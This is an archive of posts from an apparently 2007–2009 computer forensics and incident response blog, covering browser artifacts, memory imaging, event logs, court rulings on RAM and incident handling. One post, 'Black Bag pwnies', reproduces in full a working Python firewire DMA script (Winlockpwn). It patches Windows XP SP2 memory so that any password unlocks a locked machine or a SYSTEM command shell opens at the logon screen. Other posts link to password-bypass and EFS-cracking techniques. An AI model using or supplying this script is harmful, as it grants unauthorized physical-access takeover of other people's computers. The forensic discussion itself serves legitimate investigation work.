Computer Forensics and Incident Response

Unpack Javascript

2009-02-21T04:03:00.000Z

http://jsunpack.jeek.org/dec/go\\

I haven't mentioned my disdain for all things Java. There it is.

Tool to list windows protected files

2009-02-21T03:17:00.002Z

Not tested, but interesting nevertheless: SFCList by Nagareshwar Talekar

From his blog post: After I wrote about ‘Detecting System DLL’ some of my friends working on malware analysis asked for any tool which can show if the particular file is protected by SFC mechanism. I could not find any such tool and decided to write my own tool. . .

Vanity

2009-01-18T18:42:00.002Z

I was doing a vanity search today on this page and found that my post "Defeating" whole disk encryption was cited in:

Christopher Hargreaves, Howard Chivers, "Recovery of Encryption Keys from Memory Using a Linear Scan," ares,pp.1369-1376, 2008 Third International Conference on Availability, Reliability and Security, 2008

I haven't read the article, but the abstract sounds enticing:

As encrypted containers are encountered more frequently the need for live imaging is likely to increase. However, an acquired live image of an open encrypted file system cannot later be verified against any original evidence, since when the power is removed the decrypted contents are no longer accessible. This paper shows that if a memory image is also obtained at the same time as the live container image, by the design of on-the-fly encryption, decryption keys can be recovered from the memory dump. These keys can then be used offline to gain access to the encrypted container file, facilitating standard, repeatable, forensic file system analysis. The recovery method uses a linear scan of memory to generate trial keys from all possible memory positions to decrypt the container. The effectiveness of this approach is demonstrated by recovering TrueCrypt decryption keys from a memory dump of a Windows XP system.

Academic respectability. Woot!

Tubes Clogged, Internets are Broken II

2008-12-30T14:55:00.003Z

and just to claify, this means that Certificate Authorities using MD5 are broken. Browsers implicitly trust certificates, and to quote:

This ... shows that the certificate validation performed by browsers can be subverted and malicious attackers might be able to monitor or tamper with data sent to secure websites. Banking and e-commerce sites are particularly at risk because of the high value of the information secured with HTTPS on those sites. With a rogue CA certificate, attackers would be able to execute practically undetectable phishing attacks against such sites.

My guess is that this attack will be implemented in the wild in the very near future. . .

Tubes Clogged, Internets are Broken

2008-12-30T14:34:00.004Z

The Internets are broken!

Set your system date to August 2004 before visiting the site.

More here and here.

Alexander Sotirov et. al. did some really interesting research on creating a fake CA using 300 playstations - Fear!

More fun with Chrome

2008-09-04T01:47:00.003Z

The Sunbelt Blog has a link here that will force Chrome to crash.

Or you can enter crash:% into your browser and do it yourself.

Good times.

Google's Chrome Browsing History, a first pass

2008-09-04T00:23:00.005Z

This will be a short post. I'm sleep deprived and traveling. . .

Google Chrome debuted yesterday. So sometime this week, someone somewhere will have to do some analysis on Chrome's browser artifacts. Until someone writes a script/program to extract user history, here's one way to get some information:

Chrome saves its data files in C:\Documents and Settings\[user]\Local Settings\Application Data\Google\Chrome\User Data\Default

The following files store data in SQLite format 3:
Archived History
Cookies
History
Thumbnails
Web Data

To examine those data archived in SQLite format 3, you can run strings against the files. I found sqlite3explorer here. This does a fairly decent job of rendering the data.*

IF we open the "history" file and go to main > tables > urls and right click on

urls, we can click "show data" and the bottom right windows will populate with the data in the urls colunm.

It is important to note that Chrome will import browsing history from other web browsers, so the history contained here may not have been generated by Chrome.

Running Strings against the following files will/may reveal interesting data:
Last Session
Preferences
Current Session

Visited Links has binary data. YMMV.

* This doesn't work well on my computer unless executed by double clicking on the icon from the firefox download tab:

There are also files called:
History Index 2008-09
History Index 2008-08
(It appears that these are created daily, but this needs to be confirmed)

Pre-boot authentication bypass techniques.

2008-08-23T16:51:00.003Z

Jonathan Brousard gave a talk at DefCon 16 that has not gotten much press, but his research has some interesting forensic implications. You can read the white paper at http://www.ivizsecurity.com/pdf/preboot_whitepaper.pdf.

There's a tool set available from the same site.

/dev/mem for Windows, and other bits of memory goodness.

2008-06-20T15:58:00.003Z

Can "good old cgywin dd" and dcfldd access \.\\Device\PhysicalMemory? It appears that they can.

I was reading posts by Harlan Carvey and Andreas Schuster about new tools for imaging the Physical Memory in Windows this week. Some interesting stuff there. Then I stumbled across an article in Forensic Magazine by Kevin Mandia and Kris Harms, which said in part that \device\PhysicalMemory could be imaged with DCFLDD. I tried the string in the article:
DCFLDD if=\\.\PhysicalMemory of=AnyExternalDevice conv=sync,noerror and I got a big handful of fail for my efforts.

I assumed that someone else had tried this and a little googling turned up this string at forensic focus, as well as a post by on with Windows Incident Response blog that mentioned it (how did I miss that post and why can't I find it now?).

I used the /dev/mem substitution for dcfldd on an XP SP2 box and it seemed to work.

So what I'd learned so far:

1. The Mandia article has incorrect syntax.
2. You can use dcfldd to image something from /dev/mem.

It didn't seem like anyone had figured out what dcfldd was imaging though.

My next thought was, "If dcfldd can image the mysterious /dev/mem, could good old cygwin can access it?" It appears that it can.

According to these posts on the cgywin developer's list, the cygwin grabs \device\PhysicalMemory using cygwin's /dev/mem, in a manner consistent with *nix systems.

I decided to conduct a quick experiment on each. I acquired a sample of physical memory from a XP pro SP2 box:

06/20/2008 09:21 AM 1,064,648,704 dd.img
06/20/2008 09:17 AM 1,064,685,568 win32.dump
06/27/2008 11:49 AM 1,064,685,568 mdd.img
06/20/2008 09:09 AM 1,064,697,856 dcfldd.img

The same command was used for both dcfldd and dd ((DCFL)DD if=/dev/mem of=.\outfile.img conv=sync,noerror

Nothing earth shattering here, but note the file sizes.

P2P Marshall

2008-05-01T21:45:00.004Z

While researching something unrelated, I tripped across P2P Marshal. Since I have not been able to get to any sort of training short of paying my own way, I did not make it to the DFRWS07 - at any rate, the tool's been out and it's free to LE.

From the website:

P2P Marshal is a tool to analyze peer-to-peer (P2P) usage on file system images. It automatically detects what P2P client programs are, or were, present, extracts configuration and log information, and shows the investigator the shared (uploaded and downloaded) files.

P2P Marshal follows forensic best practices and maintains a detailed log file of all activities it performs. It is designed to be easily extensible to support new P2P clients and networks. It has extensive search capabilities, produces reports in RTF, PDF, and HTML formats and runs on Windows-based operating systems.
Features

* Analyzes peer-to-peer network usage
* NIJ-sponsored project
* Extensible
* Forensically sound
* Version 1.0 available free to law enforcement
* Provides full analysis for: BitTorrent, LimeWire, uTorrent, and Azereus
* Detects and shows default download locations for Ares, Google Hello, and Kazaa
* Future versions will include additional client support and capabilities

Requirements

* Microsoft Windows XP or Vista Operating System
* 120M disk space free

I don't think I'll have the time to use this any time soon, but if someone else does, I would be interested to know about it.

There's also a mention in the ForensicsWiki about it.

Note to marketing: If you want to sell to cops. . .

2008-04-22T22:50:00.003Z

don't use toy handcuffs in your marketing.

Talk about "push-button forensics" marketing.

Not impressive. I'd also note that the vendor claimed to have ~900 phones that it could image, but their website showed a little over 410. Hmmm.

Vista may be vulnerable to a local password bypass via firewire.

2008-04-22T21:54:00.004Z

Vista vulnerable to firewire hack (via Thoughts of a Technocrat)

I've been to busy to play with these attacks, but it's on my to do list.

Digging Deeper during analysis

2008-03-08T21:38:00.000Z

This post has been on my mind for some time (I'm cleaning up draft posts), but it does not look like I am going to get to it any time soon. So this is going to be quick and dirty.

I was doing forensic on an intrusion last year and I knew the following:

The computer was compromised and talking to the outside world via DNS.

I had a DD image of the RAM, and dumps of process memory from each of the processes (as well as a lot of other volatile data).

Unfortunately, I did not have any way to know which (or if any) of the processes were the bad guy's, so my process of elimination went like this:

1. Look at the process list.
2. Find associated executables.
3. Look at executable files.

Unfortunately, this server was running a lot of "stuff." So I was still left with a lot of files to look at, but after much work, I found a file that looked weird enough to make me think that it was likely tbe bad process. (Oh, and I should point out that there were no logs and the intrusion (we later determined) was months old.)

So how does one go about figuring out what happened when there's an lack of log data? Well, it turns out that when I analyzed the files by date created, and I find a memory.dmp file.

So I spend a bit of time researching the memory dump file format and I was able to find the file that the attacker used (it caused some nastiness at the time it was executed) which in turn led me to find some other information about the attack in unallocated space.

This was kind of long, but if you aren't looking beyond what you can see (untranslated blog here) in the file system, you are missing a lot of good information.

Black Bag pwnies

2008-03-05T01:36:00.004Z

I've blogged before about Adam (Metlstorm) Boileau's python script that can be used to extract bios/pgp passwords. This week, he released the script that he designed that allows a Linux box to overwrite the windows log-on password in memory. . . cool stuff if you need physical access to a box.

I have not tested this yet, but it looks good. . . Now I know what I'll be playing with at work tomorrow.

Preemptive comments:
"But you're changing the evidence."
"But you're modifying the RAM"
"But you've got physical access to the box, you could _______."
"But if someone doesn't have XP SP2 you are out of luck."
"Nobody's done this on Vista."

The code's below because his blog has been slashdotted - Blogger left justifies everything so you are going to have to fix the spacing if you use the code below.

#!/usr/bin/python
# Windows locked screen remote firewire unlockor
# Metlstorm 2k6
# Uh, private use only, not for public distro, kthx.

import sys
import firewire
import binascii
import time

VER=1.5
VERSTR="Winlockpwn v%s Metlstorm, 2k6. " % VER

# Targets are dicts, with some properties, and one or more phases
# each phase specifies a signature which can be found at one or more
# page offsets. When a signature is found the patch is applied at patchoffset
# bytes from the beginning of the signature.

targets=[{
"name":"WinXP SP2 Fast User Switching Unlock",
"notes":"When run against a locked XPSP2 box with FUS on, it will cause all passwords to succeed. You'll still get the password-is-wrong dialog, but then you'll get logged in anyway.",
"phase":[{
"sig":"8BD8F7DB1ADBFEC3",
"pageoffset":[2905],
"patch":"bb01000000eb0990",
"patchoffset":0}]
},
{"name":"WinXP SP2 Unlock",
"notes":"When run against a locked XPSP2 box with regular non-fast-user-switching, it will cause all passwords to succeed. You'll still get the password-is-wrong dialog, but then you'll get logged in anyway.",
"phase":[{
"sig":"0502000010",
"pageoffset":[3696],
"patch":"b801000000",
"patchoffset":0}]
},
{"name":"WinXP SP2 msv1_0.dll technique",
"notes":"Patches the call which decides if an account requires password authentication. This will cause all accounts to no longer require a password, which covers logging in, locking, and probably network authentication too! This is the best allround XPSP2 technique.",
"phase":[{
"sig":"8BFF558BEC83EC50A1",
"pageoffset":[0x927],
"patch":"B001",
"patchoffset":0xa5}]
},
{"name":"WinXP SP2 utilman cmd spawn",
"notes":"At the winlogon winstation (locked or prelogin), will spawn a system cmd shell. Start util manager with Win-U, and make sure all the disability-tools are stopped (narrator starts by default). Then run this, wait till it's patched a couple of data-phase things, then start narrator. Enjoy a shell. You can use this with the msv1_0.dll technique as well, and log in. Any time you want to get back to your shell, just lock the desktop, and you'll go back to the winlogon winstation where your shell will be waiting.",
"phase":[
{"name":"Patch code",
"sig":"535689bde8faffffff158810185b898540fbffff39bd40fbffff744e8b8524fb",
"pageoffset":[0x39f],
"patch":"565383c310899de8faffffff158810185b898540fbffff9090909090",
"patchoffset":0x0},
{"name":"Patch data",
"sig":"2f0055004d000000d420185b0539185b0000000053006f006600740077006100",
"pageoffset":[0x9ac, 0x5ac, 0x3ac],
"patch":"63006d0064002e006500780065000000570069006e0053007400610030005c00570069006e006c006f0067006f006e0000",
"patchoffset":0x0,
"keepgoing":True,
}
]
}
]

start = 0x8000000L
end = 0xffffffffL
chunk = 4096

print VERSTR

def printTargets(targets):
i = 1
print " Available Targets:"
for t in targets:
print " %2d: %s" % (i, t["name"])
i+=1
print "\nTarget Notes:\n"
for t in targets:
print "%s:\n---------------\n%s\n" % (t["name"], t["notes"])

def usage():
print "Usage: winlockpwn port node target [start-end]"
print " - Port and node are the firewire port and node numbers. Use businfo to identify your targets port and node numbers."
print " - Target should be one of the numbered targets listed below."
print " - You can optionally supply a start-end memory range to search for signatures in, useful if you're restarting, or want to limit the upper end of memory (which will otherwise walk up to 4GB without stopping). This understands anything sensible; eg 0-100M, 0xffff-0x1ffff, 1m-, 200k-1GB, -0xffff."
print "(Remember that you'll need to use CSR trickery with romtool to talk DMA to windows.)\n"
printTargets(targets)
sys.exit(1)

if len(sys.argv) < 4:
usage()

try:
port = int(sys.argv[1])
node = int(sys.argv[2])
targetno = int(sys.argv[3])
if len(sys.argv) > 4:
start,end = firewire.parseRange(sys.argv[4])
if end == None:
end = 0xffffffffL
except ValueError:
usage()

if targetno < 1 or targetno > len(targets):
usage()

target = targets[targetno -1]

print "Target Selection:"
print " Name : %s" % target["name"]
print " Notes : %s" % target["notes"]
for p in target["phase"]:
if p.has_key("name"):
print "Phase: %s" % p["name"]
print " Pattern: 0x%s" % p["sig"]
print " Offset : %s" % p["pageoffset"]
print " Patch : 0x%s" % p["patch"]
print " Offset : %d" % p["patchoffset"]
print "Scanning Options:"
print " Start : 0x%x" % start
print " Stop : 0x%x" % end
print " Pagesz : %d" % chunk

for so in p["pageoffset"]:
if len(p["sig"]) + so > chunk:
print "Uh oh, signature crosses page boundary. This isn't supported :("
sys.exit(1)
if so + p["patchoffset"] > chunk:
print "Uh oh, patch offset crosses page boundary. This isn't supported :("
sys.exix(1)

print "Init firwire, port %d node %d" % (port, node)
h = firewire.Host()
n = h[port][node]

print "Snarfin' memories..."
sys.stdout.flush()

dumppage = False
won = False

startt = time.time()
last = 0
for p in target["phase"]:
try:
print "Phase: %s" % p["name"]
except KeyError:
pass
signatureoffset=p["pageoffset"]
eviloffset = p["patchoffset"]
payload = binascii.unhexlify(p["patch"])
pattern = binascii.unhexlify(p["sig"])
eviladdr = None
for offset in range(start, end, chunk):
now = time.time()
if now > (last + 1):
last = now
print "\rChecking for signature on page at 0x%08x (%dkB) at %d kB/s..." % (offset, offset / 1024, (offset - start) / (now - startt) / 1024 ),
sys.stdout.flush()

for so in signatureoffset:
mem = n.read(offset + so , len(pattern))
if mem == pattern:
print "Found signature at 0x%08x" % (offset + so)
eviladdr = offset + so + p["patchoffset"]
if dumppage:
fo = open("winlockpwn.dumppage.0x%08x" % offset, "w")
fo.write(n.read(offset, chunk))
fo.close()
break
if eviladdr != None:
won = True
print "Setting up teh bomb...",
n.write(eviladdr, payload)
print "Donezor!"
verify=n.read(eviladdr, len(payload))
print "Verified evil: 0x%s" % (binascii.hexlify(verify))
if dumppage:
fo = open("winlockpwn.dumppage.0x%08x.patched" % offset, "w")
fo.write(n.read(offset, chunk))
fo.close()
if p.has_key("keepgoing") and p["keepgoing"]:
eviladdr = None
else:
break

if won:
print "You may proceed with your nefarious plans"
else:
print "\nOh noes, you didn't win"
endt = time.time()
print "Elapsed time %d seconds" % (endt - startt)

Two ways to get around passwords - Windows

2008-02-24T15:32:00.003Z

Lance Muller has a really good post on ways to log on to a windows box without a password:

I discovered two additional ways to get around passwords when the passwords are either too difficult for rainbow tables or when there is only a LM password and a brute-force attack will take too long. The techniques I am going to describe will not recover the password. It will merely let you login to the system with a specific user account. Getting access to the system using these techniques will not let you access any files that are protected via EFS in Windows XP or Vista since the password is used as part of the encryption/decryption process.

Lance's blog can be found here.

Interesting tool - pdump.exe

2008-02-05T14:27:00.000Z

Toni at Teamfurry.com has a new tool that has some interesting functionality, it dumps process memory, but it also saves each allocated memory region to a separate file.

I've played with it a little bit and it seems like it has potential.

You can read the post and download the file here.

Blog, not dead

2007-12-24T00:53:00.001Z

I have had some personal issues that have been intruding on my blogtime. Namely, I'm moving across the country. A couple of years ago, an agency that I don't work for started recruiting me, their recruiting ploy; going back home and doing the same job. Devious.

Long story short, I got an offer from said agency, told my present employer about the job and my agency offered to transfer me. I accepted.

The end result is I've been spending a lot of time arranging for the move. . .

Now a few random thoughts:

1. I was really saddened that Harlan Carvey decided to do away with the WindowsForensicAnalysis group on Yahoo!. I've thought about re-starting the group, but then I'm not sure that I have the time to do the moderation.

2. I do a lot of work with drives that have been encrypted with Pointsec. I've played around with the idea of breaking the encryption, and have done some initial research into the matter. Is there anyone out there who has looked into this, or is interested in collaboration? If you have/are, email me at bill (random gunk here @ .. wsxcvhuio) r i n g 3 . n e t.

3. The US. Gov's idea of of having 50 points that connect to the internet is a good concept, but I'm close to reaching the conclusion that the defense of USG's national assets is best left to the Department of Defense (they're the only ones who seem to do an even half-assed job of protecting their infrastructure). Further, do we really want 50 points that are FOIA'able for all to know about? Do Americans really want everyone to know that the FBI/NSA/CIA is crawling their site? There are some who argue that this is not necessarily going to be the effect of this memo, but remember, bureaucrats will strictly "the letter of the law." The upside is, of course, that if this is properly implemented, the Gov's security will be better. I'm skeptical that this will be the case, however.

4. A holiday spent away from your family is not a good holiday.

Comment spam =+ moderation

2007-11-16T23:10:00.001Z

It has been a busy couple of months... more to come soon.

In keeping with the Internet security theme

2007-10-31T02:32:00.000Z

This was originally posted at http://getahead.org/blog/joe/. It's a really good graphic presentation on Web-application problems.

Via gnucitizen.org:

| View | Upload your own

The final solution

2007-10-28T22:35:00.000Z

Internet Security:

With apologies to xkcd.com

A couple of toughts and things to come

2007-10-28T17:18:00.000Z

1. If you have not seen the Tactical Exploitation presentation by HD Moore and Valsmith did at Defcon this year, you need to see it.

There's good stuff there for forensic folks too. Things like http://whois.domaintools.com that some people don't know about. . . just good stuff.

2. When you do forensics on compromised systems, there is an inverse relationship between time and evidence; that is, the greater the time between compromise and examination, the evidence decreases.

A couple of files that I've found to be useful in exams - memory.dmp and drwatson.log (it might be drwtsn.log. . .). I'm going to do a do a longer post on this later on, but in short, attacker's tools often cause applications to crash. This is an easy way to find out how the attack was accomplished. WinDbg is your friend here. More later.

3. I'll be posting a couple of scripts in the near future. One will extract event logs from a remote computer, and the other gets services from a remote computer (similar to sc \\remote query), but it also extracts the PID and the path to the executable and command line.

I've been *really* busy in the last couple of months, between work and home life, but I'll continue to post when I've got something that I think is useful.

Things that pain me

2007-10-06T23:40:00.001Z

<\begin rant>It's been a really busy couple of months, so I haven't had much time to myself, but a couple of quick thoughts:

1. 5 Minutes a week isn't asking that much, is it?

I have a server that I manage - I've been putting in extra hours at work, but still somehow I manage to have 5 minutes a week to look at my logs. I wrote a shell script that looks for things like failed logins, brute force attacks, successful logins, etcetera; why can't IT "Professionals" spend a little time doing the same thing?

I'd challenge everyone to stop right here and take a look at the logs on the box that you are viewing this post from, or even better, a server that you manage - you'll learn more from five minutes of reading your own logs than you will from the rest of this blog.

2. Information security/assurance/warfare/technology/badgers are stupid

Until artificial intelligence (AI) gets significantly better (read, not during the course of your career), there will be no substitute for people doing work to analyze the products that computers create. There is, and there will be no appliance, no snort box, no grep expression, no program, no pretty graphic user interface that will be able to analyze data collected and conclude with a reasonable degree of certainty that something is amiss. People on the other hand can infer and from those infrences determine the likely answer to questions. Attackers are people, and as such are remarkably fluid and resilient in the face of adversity; that is, they can modify their behavior when confronted with new information or situations.

Computers by contrast, are rule based - if text == Attack! then drop packet - but if text == 0x41ttack, well. . .

This is not to say that computers do not do some things better than people. Data can be sorted and noise eliminated more quickly with them but people have to analyze the data. It's a waste of time to have IDS analysts unless you have an IDS, and it is a waste of time to have a IDS without an analyst.

3. Network engineers should consider layer 8 during design, and plan their security accordingly.

People are distracted, stupid, ignorant or indifferent to policy. Policy can prohibit me from visiting http://example.com, but someone won't get the word, or won't care if they do. Policy without enforcement is a waste of time.

The only way to secure a network is to build in security as the primary consideration. Some people have come to view their ability to access the Internet as some inalienable right on par with the 4th Amendment to the Constitution* - and IT workers seem to have become both the customer service representatives for said access. It's a sad state of affairs. If your network policy is not governed by a deny all, permit by exception principle, you are owned. Maybe not today, but you will be owned. If you have a DAPBE rule set in place for your network environment, you'll still get owned, but it will be easier to clean up.

People don't need to have access to webmail, CNN, ESPN, Homestarrunner or XKCD from work. They want it, sure, and maybe some do need CNN, but who can tell me of a blacklist that will prevent users from going to all of say, the malware sites that are hosted by blogger? I'm guessing that there isn't one.

3. When you say, "We need to educate the users." I want you to stop breathing my air.

User education is valuable, but only when it's actually education. Education is not the bi-annual, "click here to click through" our security training. You are wasting your money (ok, granted, this was probably some bureaucrat's idea of what security training should entail) and it's a waste of energy. Spend your budget on things that work - and if you've got extra time and money at the end of the year, then you can worry about user education. This also means that I'll be less likely to garrote you in a server room.<\rant>

*The Fourth Amendment to the Constitution of United States guarantees the right of persons to be secure from unreasonable searches/seizures by the Government.

Order on contents of RAM upheld

2007-09-02T19:28:00.000Z

I previously wrote about a California Magistrate's decision that the contents of RAM are discoverable. It seems that the order withstood appeal to the District Court. The full decision is here.

Interesting.

I am the CEO of Fantasy Land

2007-08-14T00:55:00.000Z

There's been a dearth of posts of late due to the latest addition to the household - the 9 pound, 10 ounce kind that is. . .

Between Kid V.2.0 and l337 h4x04s, I haven't had much time to post, but rynhere breezed by with a few comments. I've edited them for brevity's sake, but since he keeps coming back for the answer, I figured I'd turn this into a post (being the CEO of Fantasy Land does have it's privileges).

rynhere: "why would anyone. . . [grab a password from memory] from a running and logged in computer?"

Bill: Well, I thought it was kind of obvious, but I've found it useful to have passwords ;-).

rynhere: Um, I'm sorry but [PGP ensures] that lost laptops (which are presumably turned off) do not pose a threat as the data is encrypted.

Bill: I agree that PGP does mitigate the risk of data loss, but that was not the point.

rynhere: Is this "defeat" intended to describe how you would take a turned off laptop and defeat the password?

Bill: No.

rynhere: I didn't see any mention of it beyond the obvious of brute force...good luck on that.

Bill: Actually, there are several products out there that will do just that Accessdata's PRTK and DNA come to mind.

rynhere: However, if you have a running computer that has been logged in and is in the windows interface, then let me give you the 1 step method of getting a copy of the data to run forensics against all day long. It's called hooking up a USB drive and downloading the meaningful contents of the native drive.

Bill: Leet!

rynhere: If your trying to obtain forensic information from the box however, as this article seems to illustrate; I'd like to understand how it is that you ask, (in your kindest, big-brother-is-watching sort of way) for this person to log into WDE and the network for you so that you can take their computer for the next 30 minutes to reverse engineer this password. Riiiight. Tell you what, if you can get someone to give you a logged in and running computer, then one of two things is the case,

1. Your the CEO of fantasy land.
2. Your in the wrong profession because you can clearly sell water to a drowning man. Go find your calling in life as a salesperson instead of geeking out on reverse engineering passwords to a running, unencrypted (once you've authenticated to WDE, the drive "appears" as unencrypted) box.

Ok, now to the point. If you are going to image memory over the network, there's a number of ways get the memory. If you have administrative rights on the box, you can use psexec to get a command prompt on the target's computer, then "net use" back to the drive under your control to execute the tools working as the administrator on your target's box. There is no "pretty" way to do a live acquisition, you are going to make some changes no matter what method you choose, but it's nice to have more than one tool in your toolbox.

Oh, and I have asked for and received a number of passwords to computers and I didn't even need to give the users chocolate to get them. You just never know until you ask. . .

That's all your CEO has time for right now. . .

You just got 0wned. Now what?

2007-07-19T18:05:00.000Z

Imagine that you are arriving at your office and you look through the window. Inside the building you can see someone burglarizing the building. What would you do?

You have a few options, you could (1) call the police; (2) you could ignore the burglary and go get a cafe' latte double mocha espresso and hope that the burglar leaves before anyone sees him; (3) or you could open the door to the office, and shout, "Hey! Get out!", wait for the burglar to leave.

In the real world, people routinely choose the first option. They do not run the burglar out of the house and then lock the door to preserve the scene before the police arrive, but for some reason, when it comes to cyber-crime, almost everyone chooses the third option. The burglar is long gone by the time the investigation starts. Evidence has been walked over, looked over, deleted and operating systems re-installed.

The "information assurance" community does a lousy job of ensuring that intrusions are handled appropriately. In my experience there is a community wide knee jerk reaction to intrusions that starts with looking at logs (rather than preserving them), moves into damage control (patching and re-instllation) and then, as an afterthought, calling in people who are qualified to respond to the incident. Harlan Carvey wrote recently that he had only conducted two live acquisitions for clients, and both of those were after operating systems were reinstalled, so I assume that my experience is not unique.

This is usually a response based on emotion, not logic. I know that I'm largely preaching to the choir here, but hopefully someone will wander in during this sermon - so here's what you need to do if you have been hacked:

1. Don't panic

2. Call someone qualified to investigate the incident.

3. Let the investigators investigate, image, analyze what's happen(ing/ed).

4. Develop a plan that will allow you to mitigate damage, determine the extent of the intrusion, catch the bad guy with your incident responders/law enforcement.

5. Implement the plan.

Vista event IDs

2007-07-06T13:51:00.000Z

An interesting note on Vista event logs in Eric Fitzgerald's blog.

He notes that event log IDs in Vista are "old" event id + 4096. There is also an explanation as to the reasoning behind using 4096 (as opposed to say, adding 1000 and keeping things simple).

Moxie, Best practice and the Greek cell-hack

2007-07-05T01:15:00.000Z

IEEE's Spectrum has a very good article in this month's edition that is worth taking the time to read. The article discusses the 2004-2005 hacking of Vodaphone. During the intrusion, the attackers were able to intercept the cellular phone calls of a number of people in Greece. People like the Greek Prime Minister (how do you say "ouch" in Greek?) and senior government officials .

From the article (emphasis mine):

[W]e can only speculate about various approaches that the intruders may have followed to carry out their attack. That's because key material has been lost or was never collected. For instance, in July 2005, while the investigation was taking place, Vodafone upgraded two of the three servers used for accessing the exchange management system. This upgrade wiped out the access logs and, contrary to company policy, no backups were retained. Some time later a six‑month retention period for visitor sign-in books lapsed, and Vodafone destroyed the books corresponding to the period where the rogue software was modified. . .

[D]ue to a paucity of storage space in the exchange's management systems, the logs were retained for only five days, because Vodafone considers billing data, which competes for the same space, a lot more important. Most crucially, Vodafone's deactivation of the rogue software on 7 March 2005 almost certainly alerted the conspirators, giving them a chance to switch off the shadow phones. As a result investigators missed the opportunity of triangulating the location of the shadow phones and catching the perpetrators in the act.

The all to frequent reaction of system administrators and managers to pull the plug on intruders.

Now I'll grant you that I am drastically oversimplifying the matter - I'm sure that having your government's head of state, Naval general staff and others played a significant role in the decision, but this response is not containment - it's often a knee jerk reaction to perceived liability. If a hacker has been in your system for a month, a week, or a year, is watching him for a day or two so you can determine the extentent of the penetration a bad idea? If you were investigating this incident, would you rather have a couple of days where the hackers were inside your system where you could track (and possibly identify them) or would you rather just close the door before you had figured out how they got in in the first place?

It is like being asked to choose between gathering volatile data while a system is still running and yanking the cord out of the wall - I'd choose the former every time. In an intrusion case, I'd argue that not gathering volatile data is tantamount to malpractice; and if presented with the opportunity to determine the full extent of an intrusion, you ought to take the opportunity, or you risk the same argument being applied to your actions.

Best practice in intrusions is to contain the intrusion so that the attacker is isolated, but allowed to continue to access the systems that he's accessing. If there are data that you can not allow out (classified or personally identifying information come to mind), part of the containment strategy should be to come up with either bogus data or a reason why the data can no longer be reached (i.e. "The server crashed, but we're working on it."). There are going to be cases where this will not be realistic, but it should be the starting point for any intrusion investigation. You will learn a lot more, a lot faster this way. This more moxie than just cutting the attacker off, but in the long run it is better for the investigation and ultimately for the victim to know all that there is to know about the intrusion by observing a "live patient" than would ever be discovered through an autopsy of a dead one.

Snort and the IT Appliance Fixation

2007-06-30T13:36:00.000Z

I'm a huge fan of Snort, but I am more than a little dismayed at the lack of acceptance that it has in the community. Now I know that most people who read this blog will think that I have lost my mind, but hear me out.

There is a mindset that I see with IT people that goes something like this:

Manager: "We have a problem. Our enterprise isn't covered by IDS sensors."
IT guy: "I know just what we need. There's a vendor that has an appliance . . ."
Manager: "Get me three bids."

I call this the IT Appliance Fixation. In my experience, the "typical" IT response to a problem is to buy a box that someone can hang on to the network. The purchase is based largely on vendor advertising, sales pitches and the vendor's website. The problem is, when it comes to intrusion detection, there is no better sensor than a good old snort box. I will grant you that building a snort sensor takes time and writing/configuring snort rules takes time too, but what's the cost benefit ratio?

Assume that a Vendor supplied IDS will cost $50,000 just to purchase. Factor in the time spent finding the right product. Now consider that an organization could easily spend that time configuring a Snort sensor baseline image, and roll that out on computers that are past the end of their life cycle - see where I'm going? Now factor in the open source nature of Snort's rule sets, and you could easily save money in implementation, and use the money to hire a decently paid IDS analyst.

The bottom line here is that the best solution is not always the newest one, or one that comes with vendor support. If you are in a position to do something useful on a network, it does not always have to cost money.

Office 2007 Event Logs

2007-06-29T19:53:00.000Z

A coworker walked into my office today and asked if I'd take a look at a drive to see if I thought the former owner had tried to tamper with the contents. After a little "pokin' 'round" I exported the event logs and opened up my event viewer to look at them when I noticed another log on my box. Not the ones I'd exported, but a new event log that comes with a default installation of Office 2007. So naturally, I discarded the investigation that I was supposed to be doing and began investigating what interested me. My proclivity for doing things like this is the reason that my desk is a shambles, but that's a tale for a different day, on to the new event log!

OSession.evt isn't incredibly interesting, but it might be useful in an examination. Below there are two of the entries that I carved out. . . You'll note that the application (Word) and the times are identified. That might be useful in a case where time was an issue.

I have not yet figured out what the active time entry is. It does not appear to be something that would be associated with actually working in the program; the first entry below was me opening Word, putting in some text and then saving and closing the document - active time 0 seconds. The second entry is from the first time I opened up Excel. I'm not sure what I did there, but it was probably something to do with carving out a file and then opening it with Excel. I have not found anything official that documents the log, so I would be interested in links to reliable documentation.

I did not include everything from the log, but it appears on first blush to have all the same features that the "big 3" event logs have, so you can find times. Times associated with log entries are the times that you exited the program, so an entry at 1345:00 hours that was 901 seconds long would have started at 1329:59 hours.

ID: 0, Application Name: Microsoft Office Word, Application Version: 12.0.4518.1014, Microsoft Office Version: 12.0.4518.1014. This session lasted 20 seconds with 0 seconds of active time. This session ended normally.

ID: 1, Application Name: Microsoft Office Excel, Application Version: 12.0.4518.1014, Microsoft Office Version: 12.0.4518.1014. This session lasted 172 seconds with 120 seconds of active time. This session ended normally.

Quickly Cracking EFS on Vista (and getting local admin rights too)

2007-06-17T14:40:00.000Z

Kimmo Rousku has some interesting observations and a walk through on getting Administrator and/or System level rights on Vista through the use of a recovery CD. One area that he mentions is that you can crack EFS encrypted files with this as well.

I have not toyed with or analyzed Vista yet (except to try and help a coworker configure a static IP, which was rather unpleasant), but gaining Admin/System rights might be useful for acquisition if used in conjunction with Bart PE and a write blocker. I'll defer to those that have done more work here to decide.

I'd guess that if you followed the steps for cracking PGP that I outlined previously, you could use this to crack the EFS files without cracking the SAM. I have no idea if this would be faster than cracking the SAM and using traditional forensic tools would be, but it's always nice to have more than one tool in your toolbox.

RAM and U. S. Courts

2007-06-16T12:20:00.000Z

I subscribe to quite of few mailing lists. In fact, I'm one of those people who cannot keep up with the volume of email that I receive because I get so much of it.

My usual strategy is to let gmail handle what I'll read by adding a star to those people's emails that I have a personal relationship with, friends, smart people, etcetera; then all I have to do is skim subject lines of unstarred posts before selecting and deleting those (BTW, I star all comments that come in here under the smart people category ;-)). The following almost got cut, but I'm glad it didn't.

An article on Cnet, reports that a Federal Magistrate in the Central District of California has ordered that Torrentspy turn over masked IP addresses in a ongoing civil case that the RIAA brought against it. Why is this interesting? Because the Magistrate ruled that even though the data in RAM is in "electronic storage."

I'm not a lawyer, but let me see if I can put this issue in a nutshell: In criminal and civil cases, there's a pretty well accepted rule; you cannot force someone to create a document that they do not already have, and then force them to produce that document. So, I couldn't send a subpoena to example.com and ask them to produce something worded like this:

"A document containing Customer John Smith's Social security number, mother's maiden name, his last three log ins to the system and his credit card information."

Unless of course, example.com had a document like that already. From the article, "a federal judge in Los Angeles found that a computer server's RAM, or random-access memory, is a tangible document that can be stored and must be turned over in a lawsuit."

